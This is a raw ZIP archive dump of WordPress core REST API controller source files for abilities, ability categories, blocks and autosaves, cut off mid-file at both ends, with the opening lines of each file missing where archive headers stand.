$offset, $per_page ); $data = array(); foreach ( $categories as $category ) { $item = $this->prepare_item_for_response( $category, $request ); $data[] = $this->prepare_response_for_collection( $item ); } $response = rest_ensure_response( $data ); } $response->header( 'X-WP-Total', (string) $total_categories ); $response->header( 'X-WP-TotalPages', (string) $max_pages ); $query_params = $request->get_query_params(); $base = add_query_arg( urlencode_deep( $query_params ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) ); if ( $page > 1 ) { $prev_page = $page - 1; $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $page < $max_pages ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Retrieves a specific ability category. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $category = wp_has_ability_category( $request['slug'] ) ? wp_get_ability_category( $request['slug'] ) : null; if ( ! $category ) { return new WP_Error( 'rest_ability_category_not_found', __( 'Ability category not found.' ), array( 'status' => 404 ) ); } $data = $this->prepare_item_for_response( $category, $request ); return rest_ensure_response( $data ); } /** * Checks if a given request has access to read ability categories. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return bool True if the request has read access. */ public function get_items_permissions_check( $request ) { return current_user_can( 'read' ); } /** * Checks if a given request has access to read an ability category. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return bool True if the request has read access. */ public function get_item_permissions_check( $request ) { return current_user_can( 'read' ); } /** * Prepares an ability category for response. * * @since 6.9.0 * * @param WP_Ability_Category $category The ability category object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $category, $request ) { $data = array( 'slug' => $category->get_slug(), 'label' => $category->get_label(), 'description' => $category->get_description(), 'meta' => $category->get_meta(), ); $context = $request['context'] ?? 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); $fields = $this->get_fields_for_response( $request ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $category->get_slug() ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'abilities' => array( 'href' => rest_url( sprintf( '%s/abilities?category=%s', $this->namespace, $category->get_slug() ) ), ), ); $response->add_links( $links ); } return $response; } /** * Retrieves the ability category's schema, conforming to JSON Schema. * * @since 6.9.0 * * @return array Item schema data. */ public function get_item_schema(): array { $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'ability-category', 'type' => 'object', 'properties' => array( 'slug' => array( 'description' => __( 'Unique identifier for the ability category.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'label' => array( 'description' => __( 'Display label for the category.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'Description of the category.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'meta' => array( 'description' => __( 'Meta information about the category.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ); return $this->add_additional_fields_schema( $schema ); } /** * Retrieves the query params for collections. * * @since 6.9.0 * * @return array Collection parameters. */ public function get_collection_params(): array { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'page' => array( 'description' => __( 'Current page of the collection.' ), 'type' => 'integer', 'default' => 1, 'minimum' => 1, ), 'per_page' => array( 'description' => __( 'Maximum number of items to be returned in result set.' ), 'type' => 'integer', 'default' => 50, 'minimum' => 1, 'maximum' => 100, ), ); } } PK!;U 2 2.class-wp-rest-abilities-v1-list-controller.phpnu[namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-zA-Z0-9\-\/]+)', array( 'args' => array( 'name' => array( 'description' => __( 'Unique identifier for the ability.' ), 'type' => 'string', 'pattern' => '^[a-zA-Z0-9\-\/]+$', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Retrieves all abilities. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object on success. */ public function get_items( $request ) { $query_args = array( 'meta' => array( 'show_in_rest' => true ), ); if ( ! empty( $request['category'] ) ) { $query_args['category'] = $request['category']; } if ( ! empty( $request['namespace'] ) ) { $query_args['namespace'] = $request['namespace']; } if ( ! empty( $request['meta'] ) ) { // Merge caller meta first so the forced show_in_rest filter wins. This keeps a caller from using meta to reveal abilities hidden from REST. $query_args['meta'] = array_merge( $request['meta'], $query_args['meta'] ); } $abilities = wp_get_abilities( $query_args ); $page = $request['page']; $per_page = $request['per_page']; $offset = ( $page - 1 ) * $per_page; $total_abilities = count( $abilities ); $max_pages = (int) ceil( $total_abilities / $per_page ); if ( $request->get_method() === 'HEAD' ) { $response = new WP_REST_Response( array() ); } else { $abilities = array_slice( $abilities, $offset, $per_page ); $data = array(); foreach ( $abilities as $ability ) { $item = $this->prepare_item_for_response( $ability, $request ); $data[] = $this->prepare_response_for_collection( $item ); } $response = rest_ensure_response( $data ); } $response->header( 'X-WP-Total', (string) $total_abilities ); $response->header( 'X-WP-TotalPages', (string) $max_pages ); $query_params = $request->get_query_params(); $base = add_query_arg( urlencode_deep( $query_params ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) ); if ( $page > 1 ) { $prev_page = $page - 1; $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $page < $max_pages ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Retrieves a specific ability. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $ability = wp_has_ability( $request['name'] ) ? wp_get_ability( $request['name'] ) : null; if ( ! $ability || ! $ability->get_meta_item( 'show_in_rest' ) ) { return new WP_Error( 'rest_ability_not_found', __( 'Ability not found.' ), array( 'status' => 404 ) ); } $data = $this->prepare_item_for_response( $ability, $request ); return rest_ensure_response( $data ); } /** * Checks if a given request has access to read ability items. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return bool True if the request has read access. */ public function get_items_permissions_check( $request ) { return current_user_can( 'read' ); } /** * Checks if a given request has access to read an ability item. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return bool True if the request has read access. */ public function get_item_permissions_check( $request ) { return current_user_can( 'read' ); } /** * Prepares an ability for response. * * @since 6.9.0 * * @param WP_Ability $ability The ability object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $ability, $request ) { $data = array( 'name' => $ability->get_name(), 'label' => $ability->get_label(), 'description' => $ability->get_description(), 'category' => $ability->get_category(), 'input_schema' => wp_prepare_json_schema_for_client( $ability->get_input_schema() ), 'output_schema' => wp_prepare_json_schema_for_client( $ability->get_output_schema() ), 'meta' => $ability->get_meta(), ); $context = $request['context'] ?? 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); $fields = $this->get_fields_for_response( $request ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $ability->get_name() ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), ); $links['wp:action-run'] = array( 'href' => rest_url( sprintf( '%s/%s/%s/run', $this->namespace, $this->rest_base, $ability->get_name() ) ), ); $response->add_links( $links ); } return $response; } /** * Retrieves the ability's schema, conforming to JSON Schema. * * @since 6.9.0 * * @return array Item schema data. */ public function get_item_schema(): array { $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'ability', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'Unique identifier for the ability.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'label' => array( 'description' => __( 'Display label for the ability.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'Description of the ability.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'category' => array( 'description' => __( 'Ability category this ability belongs to.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'input_schema' => array( 'description' => __( 'JSON Schema for the ability input.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'output_schema' => array( 'description' => __( 'JSON Schema for the ability output.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'meta' => array( 'description' => __( 'Meta information about the ability.' ), 'type' => 'object', 'properties' => array( 'annotations' => array( 'description' => __( 'Behavioral annotations for the ability.' ), 'type' => 'object', 'properties' => array( 'readonly' => array( 'description' => __( 'Whether the ability does not modify its environment.' ), 'type' => array( 'boolean', 'null' ), ), 'destructive' => array( 'description' => __( 'Whether the ability may perform destructive updates to its environment.' ), 'type' => array( 'boolean', 'null' ), ), 'idempotent' => array( 'description' => __( 'Whether repeated calls with the same arguments have no additional effect.' ), 'type' => array( 'boolean', 'null' ), ), ), 'additionalProperties' => true, ), 'public' => array( 'description' => __( 'Whether the ability is meant to be available to clients such as the REST API, MCP, or AI agents. Defaults to false, but individual channel settings such as show_in_rest can override it.' ), 'type' => 'boolean', ), ), 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ); return $this->add_additional_fields_schema( $schema ); } /** * Retrieves the query params for collections. * * @since 6.9.0 * * @return array Collection parameters. */ public function get_collection_params(): array { $query_params = array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'page' => array( 'description' => __( 'Current page of the collection.' ), 'type' => 'integer', 'default' => 1, 'minimum' => 1, ), 'per_page' => array( 'description' => __( 'Maximum number of items to be returned in result set.' ), 'type' => 'integer', 'default' => 50, 'minimum' => 1, 'maximum' => 100, ), 'category' => array( 'description' => __( 'Limit results to abilities in specific ability category.' ), 'type' => 'string', 'sanitize_callback' => 'sanitize_key', 'validate_callback' => 'rest_validate_request_arg', ), 'namespace' => array( 'description' => __( 'Limit results to abilities in a specific namespace.' ), 'type' => 'string', 'sanitize_callback' => 'sanitize_key', 'validate_callback' => 'rest_validate_request_arg', ), 'meta' => array( 'description' => __( 'Limit results to abilities matching all of the given meta fields.' ), 'type' => 'object', 'properties' => array( // show_in_rest is omitted on purpose. It is forced on and cannot be filtered by a caller. 'annotations' => array( 'description' => __( 'Limit results to abilities matching the given behavioral annotations.' ), 'type' => 'object', 'properties' => array( 'readonly' => array( 'description' => __( 'Whether the ability does not modify its environment.' ), 'type' => array( 'boolean', 'null' ), ), 'destructive' => array( 'description' => __( 'Whether the ability may perform destructive updates to its environment.' ), 'type' => array( 'boolean', 'null' ), ), 'idempotent' => array( 'description' => __( 'Whether repeated calls with the same arguments have no additional effect.' ), 'type' => array( 'boolean', 'null' ), ), ), 'additionalProperties' => true, ), ), 'additionalProperties' => true, ), ); /** * Filters REST API collection parameters for the abilities controller. * * Use this to declare the schema type of a custom meta key. A declared * type lets REST coerce a query-string value, for example "true" to a * boolean, before the meta filter matches it. * * @since 7.1.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_abilities_collection_params', $query_params ); } } PK!Ɩ8 8 #class-wp-rest-blocks-controller.phpnu[ID ) ) { return false; } return parent::check_read_permission( $post ); } /** * Filters a response based on the context defined in the schema. * * @since 5.0.0 * @since 6.3.0 Adds the `wp_pattern_sync_status` postmeta property to the top level of response. * * @param array $data Response data to filter. * @param string $context Context defined in the schema. * @return array Filtered response. */ public function filter_response_by_context( $data, $context ) { $data = parent::filter_response_by_context( $data, $context ); /* * Remove `title.rendered` and `content.rendered` from the response. * It doesn't make sense for a pattern to have rendered content on its own, * since rendering a block requires it to be inside a post or a page. */ unset( $data['title']['rendered'] ); unset( $data['content']['rendered'] ); // Add the core wp_pattern_sync_status meta as top level property to the response. $data['wp_pattern_sync_status'] = $data['meta']['wp_pattern_sync_status'] ?? ''; unset( $data['meta']['wp_pattern_sync_status'] ); return $data; } /** * Retrieves the pattern's schema, conforming to JSON Schema. * * @since 5.0.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = parent::get_item_schema(); /* * Allow all contexts to access `title.raw` and `content.raw`. * Clients always need the raw markup of a pattern to do anything useful, * e.g. parse it or display it in an editor. */ $schema['properties']['title']['properties']['raw']['context'] = array( 'view', 'edit' ); $schema['properties']['content']['properties']['raw']['context'] = array( 'view', 'edit' ); /* * Remove `title.rendered` and `content.rendered` from the schema. * It doesn't make sense for a pattern to have rendered content on its own, * since rendering a block requires it to be inside a post or a page. */ unset( $schema['properties']['title']['properties']['rendered'] ); unset( $schema['properties']['content']['properties']['rendered'] ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } } PK!Lz-z--class-wp-rest-abilities-v1-run-controller.phpnu[namespace, '/' . $this->rest_base . '/(?P[a-zA-Z0-9\-\/]+?)/run', array( 'args' => array( 'name' => array( 'description' => __( 'Unique identifier for the ability.' ), 'type' => 'string', 'pattern' => '^[a-zA-Z0-9\-\/]+$', ), ), // TODO: We register ALLMETHODS because at route registration time, we don't know which abilities // exist or their annotations (`destructive`, `idempotent`, `readonly`). This is due to WordPress // load order - routes are registered early, before plugins have registered their abilities. // This approach works but could be improved with lazy route registration or a different // architecture that allows type-specific routes after abilities are registered. // This was the same issue that we ended up seeing with the Feature API. array( 'methods' => WP_REST_Server::ALLMETHODS, 'callback' => array( $this, 'execute_ability' ), 'permission_callback' => array( $this, 'check_ability_permissions' ), 'args' => $this->get_run_args(), ), 'schema' => array( $this, 'get_run_schema' ), ) ); } /** * Executes an ability. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function execute_ability( $request ) { $ability = wp_has_ability( $request['name'] ) ? wp_get_ability( $request['name'] ) : null; if ( ! $ability ) { return new WP_Error( 'rest_ability_not_found', __( 'Ability not found.' ), array( 'status' => 404 ) ); } $input = $this->get_input_from_request( $request ); $result = $ability->execute( $input ); if ( is_wp_error( $result ) ) { return $result; } return rest_ensure_response( $result ); } /** * Validates if the HTTP method matches the expected method for the ability based on its annotations. * * @since 6.9.0 * * @param string $request_method The HTTP method of the request. * @param array $annotations The ability annotations. * @return true|WP_Error True on success, or WP_Error object on failure. */ public function validate_request_method( string $request_method, array $annotations ) { $expected_method = 'POST'; if ( ! empty( $annotations['readonly'] ) ) { $expected_method = 'GET'; } elseif ( ! empty( $annotations['destructive'] ) && ! empty( $annotations['idempotent'] ) ) { $expected_method = 'DELETE'; } if ( $expected_method === $request_method ) { return true; } $error_message = __( 'Abilities that perform updates require POST method.' ); if ( 'GET' === $expected_method ) { $error_message = __( 'Read-only abilities require GET method.' ); } elseif ( 'DELETE' === $expected_method ) { $error_message = __( 'Abilities that perform destructive actions require DELETE method.' ); } return new WP_Error( 'rest_ability_invalid_method', $error_message, array( 'status' => 405 ) ); } /** * Checks if a given request has permission to execute a specific ability. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has execution permission, WP_Error object otherwise. */ public function check_ability_permissions( $request ) { $ability = wp_has_ability( $request['name'] ) ? wp_get_ability( $request['name'] ) : null; if ( ! $ability || ! $ability->get_meta_item( 'show_in_rest' ) ) { return new WP_Error( 'rest_ability_not_found', __( 'Ability not found.' ), array( 'status' => 404 ) ); } $is_valid = $this->validate_request_method( $request->get_method(), $ability->get_meta_item( 'annotations' ) ); if ( is_wp_error( $is_valid ) ) { return $is_valid; } $input = $this->get_input_from_request( $request ); $input = $ability->normalize_input( $input ); if ( is_wp_error( $input ) ) { return $this->ensure_error_status( $input, 400 ); } $is_valid = $ability->validate_input( $input ); if ( is_wp_error( $is_valid ) ) { return $this->ensure_error_status( $is_valid, 400 ); } $result = $ability->check_permissions( $input ); if ( is_wp_error( $result ) ) { $result->add_data( array( 'status' => rest_authorization_required_code() ) ); return $result; } if ( ! $result ) { return new WP_Error( 'rest_ability_cannot_execute', __( 'Sorry, you are not allowed to execute this ability.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Ensures a WP_Error object carries an HTTP status, adding a default when none is set. * * @since 7.1.0 * * @param WP_Error $error Error object to update. * @param int $status HTTP status code to add if not already present. * @return WP_Error The error object, with a default status when needed. */ private function ensure_error_status( WP_Error $error, int $status ): WP_Error { $error_data = $error->get_error_data(); if ( ! is_array( $error_data ) || ! isset( $error_data['status'] ) ) { $error->add_data( array( 'status' => $status ) ); } return $error; } /** * Extracts input parameters from the request. * * @since 6.9.0 * * @param WP_REST_Request $request The request object. * @return mixed|null The input parameters. */ private function get_input_from_request( $request ) { if ( in_array( $request->get_method(), array( 'GET', 'DELETE' ), true ) ) { // For GET and DELETE requests, look for 'input' query parameter. $query_params = $request->get_query_params(); return $query_params['input'] ?? null; } // For POST requests, look for 'input' in JSON body. $json_params = $request->get_json_params(); return $json_params['input'] ?? null; } /** * Sanitizes the run input by coercing it to the ability's input schema. * * Registered as the `input` argument `sanitize_callback` so that both * `check_ability_permissions()` and `execute_ability()` receive natively typed input * regardless of transport. * * @since 7.1.0 * * @see WP_REST_Abilities_V1_Run_Controller::coerce_input_to_schema() * * @param mixed $input Raw input extracted from the request. * @param WP_REST_Request $request The request object. * @return mixed Coerced input, or the raw input when it cannot be safely coerced. */ public function sanitize_input_for_ability( $input, $request ) { $ability = wp_has_ability( $request['name'] ) ? wp_get_ability( $request['name'] ) : null; if ( ! $ability instanceof WP_Ability ) { return $input; } return $this->coerce_input_to_schema( $input, $ability ); } /** * Coerces raw request input to the types declared in the ability input schema. * * GET and DELETE deliver every scalar as a string ("10", "true") and a list as a single * comma-separated string, so without coercion an ability receives raw strings where its * schema declares integers, booleans, or arrays. * * Coercion never changes what validation accepts. Input is coerced only when * {@see WP_Ability::validate_input()} already accepts it, and any error surfaced while * sanitizing falls back to the raw input, so `validate_input()` stays the single authority * on what is rejected. * * @since 7.1.0 * * @param mixed $input Raw input extracted from the request. * @param WP_Ability $ability The ability being executed. * @return mixed Coerced input, or the raw input when it cannot be safely coerced. */ private function coerce_input_to_schema( $input, WP_Ability $ability ) { if ( null === $input ) { return $input; } $schema = $ability->get_input_schema(); if ( empty( $schema ) ) { return $input; } /* * Only coerce input that already validates. Sanitizing invalid input can silently * change which values are accepted -- `additionalProperties: false` strips unknown * keys, and a non-numeric string casts to 0 -- so leaving invalid input untouched * lets validate_input() reject it exactly as it does without coercion. * * validate_input() is asked rather than rest_validate_value_from_schema() so that the * `wp_ability_validate_input` filter decides what counts as valid here as well. A filter * that overrides a schema failure accepts the input, so the input is coerced; a filter * that rejects otherwise valid input leaves it untouched for validate_input() to report. */ if ( is_wp_error( $ability->validate_input( $input ) ) ) { return $input; } $sanitized = rest_sanitize_value_from_schema( $input, $schema, 'input' ); /* * Sanitizing can still surface an error the lenient validation above did not, such as * items that are unique as strings but collide once cast to integers (`uniqueItems`). * The error may be returned at the top level or nested inside the returned array, so * scan recursively and fall back to the raw input on any error. */ if ( $this->input_contains_error( $sanitized ) ) { return $input; } return $sanitized; } /** * Determines whether a sanitized value is, or contains, a WP_Error. * * @since 7.1.0 * * @param mixed $value The value to inspect. * @return bool True if the value is, or contains, a WP_Error. */ private function input_contains_error( $value ): bool { if ( is_wp_error( $value ) ) { return true; } if ( is_array( $value ) ) { foreach ( $value as $item ) { if ( $this->input_contains_error( $item ) ) { return true; } } } return false; } /** * Retrieves the arguments for ability execution endpoint. * * @since 6.9.0 * * @return array Arguments for the run endpoint. */ public function get_run_args(): array { return array( 'input' => array( 'description' => __( 'Input parameters for the ability execution.' ), 'type' => array( 'integer', 'number', 'boolean', 'string', 'array', 'object', 'null' ), 'default' => null, 'sanitize_callback' => array( $this, 'sanitize_input_for_ability' ), ), ); } /** * Retrieves the schema for ability execution endpoint. * * @since 6.9.0 * * @return array Schema for the run endpoint. */ public function get_run_schema(): array { return array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'ability-execution', 'type' => 'object', 'properties' => array( 'result' => array( 'description' => __( 'The result of the ability execution.' ), 'type' => array( 'integer', 'number', 'boolean', 'string', 'array', 'object', 'null' ), 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ); } } PK!Rvm<<&class-wp-rest-autosaves-controller.phpnu[parent_post_type = $parent_post_type; $post_type_object = get_post_type_object( $parent_post_type ); $parent_controller = $post_type_object->get_rest_controller(); if ( ! $parent_controller ) { $parent_controller = new WP_REST_Posts_Controller( $parent_post_type ); } $this->parent_controller = $parent_controller; $revisions_controller = $post_type_object->get_revisions_rest_controller(); if ( ! $revisions_controller ) { $revisions_controller = new WP_REST_Revisions_Controller( $parent_post_type ); } $this->revisions_controller = $revisions_controller; $this->rest_base = 'autosaves'; $this->parent_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name; $this->namespace = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2'; } /** * Registers the routes for autosaves. * * @since 5.0.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P[\d]+)/' . $this->rest_base, array( 'args' => array( 'parent' => array( 'description' => __( 'The ID for the parent of the autosave.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->parent_controller->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P[\d]+)/' . $this->rest_base . '/(?P[\d]+)', array( 'args' => array( 'parent' => array( 'description' => __( 'The ID for the parent of the autosave.' ), 'type' => 'integer', ), 'id' => array( 'description' => __( 'The ID for the autosave.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this->revisions_controller, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Get the parent post. * * @since 5.0.0 * * @param int $parent_id Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_parent( $parent_id ) { return $this->revisions_controller->get_parent( $parent_id ); } /** * Checks if a given request has access to get autosaves. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $parent = $this->get_parent( $request['id'] ); if ( is_wp_error( $parent ) ) { return $parent; } if ( ! current_user_can( 'edit_post', $parent->ID ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to view autosaves of this post.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Checks if a given request has access to create an autosave revision. * * Autosave revisions inherit permissions from the parent post, * check if the current user has permission to edit the post. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create the item, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); if ( empty( $id ) ) { return new WP_Error( 'rest_post_invalid_id', __( 'Invalid item ID.' ), array( 'status' => 404 ) ); } return $this->parent_controller->update_item_permissions_check( $request ); } /** * Creates, updates or deletes an autosave revision. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { if ( ! defined( 'WP_RUN_CORE_TESTS' ) && ! defined( 'DOING_AUTOSAVE' ) ) { define( 'DOING_AUTOSAVE', true ); } $post = $this->get_parent( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } $prepared_post = $this->parent_controller->prepare_item_for_database( $request ); $prepared_post->ID = $post->ID; $user_id = get_current_user_id(); // We need to check post lock to ensure the original author didn't leave their browser tab open. if ( ! function_exists( 'wp_check_post_lock' ) ) { require_once ABSPATH . 'wp-admin/includes/post.php'; } $post_lock_is_active = wp_check_post_lock( $post->ID ); $is_draft = 'draft' === $post->post_status || 'auto-draft' === $post->post_status; /* * When a post is still in draft form, updates from the author can directly update the post. * Other autosaves must be stored as per-user autosave revisions. */ $can_update_author_draft_post = ( $is_draft && (int) $post->post_author === $user_id ); $should_update_parent_draft_post = ( ! $post_lock_is_active && $can_update_author_draft_post ); if ( $should_update_parent_draft_post ) { /* * Draft posts for the same author: autosaving updates the post and does not create a revision. * Convert the post object to an array and add slashes, wp_update_post() expects escaped array. */ $autosave_id = wp_update_post( wp_slash( (array) $prepared_post ), true ); } else { $autosave_id = $this->create_post_autosave( (array) $prepared_post, (array) $request->get_param( 'meta' ) ); } if ( is_wp_error( $autosave_id ) ) { return $autosave_id; } $autosave = get_post( $autosave_id ); $request->set_param( 'context', 'edit' ); $response = $this->prepare_item_for_response( $autosave, $request ); $response = rest_ensure_response( $response ); return $response; } /** * Get the autosave, if the ID is valid. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise. */ public function get_item( $request ) { $parent_id = (int) $request->get_param( 'parent' ); if ( $parent_id <= 0 ) { return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post parent ID.' ), array( 'status' => 404 ) ); } $autosave = wp_get_post_autosave( $parent_id ); if ( ! $autosave ) { return new WP_Error( 'rest_post_no_autosave', __( 'There is no autosave revision for this post.' ), array( 'status' => 404 ) ); } $response = $this->prepare_item_for_response( $autosave, $request ); return $response; } /** * Gets a collection of autosaves using wp_get_post_autosave. * * Contains the user's autosave, for empty if it doesn't exist. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $parent = $this->get_parent( $request['id'] ); if ( is_wp_error( $parent ) ) { return $parent; } if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } $response = array(); $parent_id = $parent->ID; $revisions = wp_get_post_revisions( $parent_id, array( 'check_enabled' => false ) ); foreach ( $revisions as $revision ) { if ( str_contains( $revision->post_name, "{$parent_id}-autosave" ) ) { $data = $this->prepare_item_for_response( $revision, $request ); $response[] = $this->prepare_response_for_collection( $data ); } } return rest_ensure_response( $response ); } /** * Retrieves the autosave's schema, conforming to JSON Schema. * * @since 5.0.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = $this->revisions_controller->get_item_schema(); $schema['properties']['preview_link'] = array( 'description' => __( 'Preview link for the post.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'edit' ), 'readonly' => true, ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Creates autosave for the specified post. * * From wp-admin/post.php. * * @since 5.0.0 * @since 6.4.0 The `$meta` parameter was added. * * @param array $post_data Associative array containing the post data. * @param array $meta Associative array containing the post meta data. * @return mixed The autosave revision ID or WP_Error. */ public function create_post_autosave( $post_data, array $meta = array() ) { $post_id = (int) $post_data['ID']; $post = get_post( $post_id ); if ( is_wp_error( $post ) ) { return $post; } // Only create an autosave when it is different from the saved post. $autosave_is_different = false; $new_autosave = _wp_post_revision_data( $post_data, true ); foreach ( array_intersect( array_keys( $new_autosave ), array_keys( _wp_post_revision_fields( $post ) ) ) as $field ) { if ( normalize_whitespace( $new_autosave[ $field ] ) !== normalize_whitespace( $post->$field ) ) { $autosave_is_different = true; break; } } // Check if meta values have changed. if ( ! empty( $meta ) ) { $revisioned_meta_keys = wp_post_revision_meta_keys( $post->post_type ); foreach ( $revisioned_meta_keys as $meta_key ) { // get_metadata_raw is used to avoid retrieving the default value. $old_meta = get_metadata_raw( 'post', $post_id, $meta_key, true ); $new_meta = $meta[ $meta_key ] ?? ''; if ( $new_meta !== $old_meta ) { $autosave_is_different = true; break; } } } $user_id = get_current_user_id(); // Store one autosave per author. If there is already an autosave, overwrite it. $old_autosave = wp_get_post_autosave( $post_id, $user_id ); if ( ! $autosave_is_different && $old_autosave ) { // Nothing to save, return the existing autosave. return $old_autosave->ID; } if ( $old_autosave ) { $new_autosave['ID'] = $old_autosave->ID; $new_autosave['post_author'] = $user_id; /** This action is documented in wp-admin/includes/post.php */ do_action( 'wp_creating_autosave', $new_autosave, true ); // wp_update_post() expects escaped array. $revision_id = wp_update_post( wp_slash( $new_autosave ) ); } else { // Create the new autosave as a special post revision. $revision_id = _wp_put_post_revision( $post_data, true ); } if ( 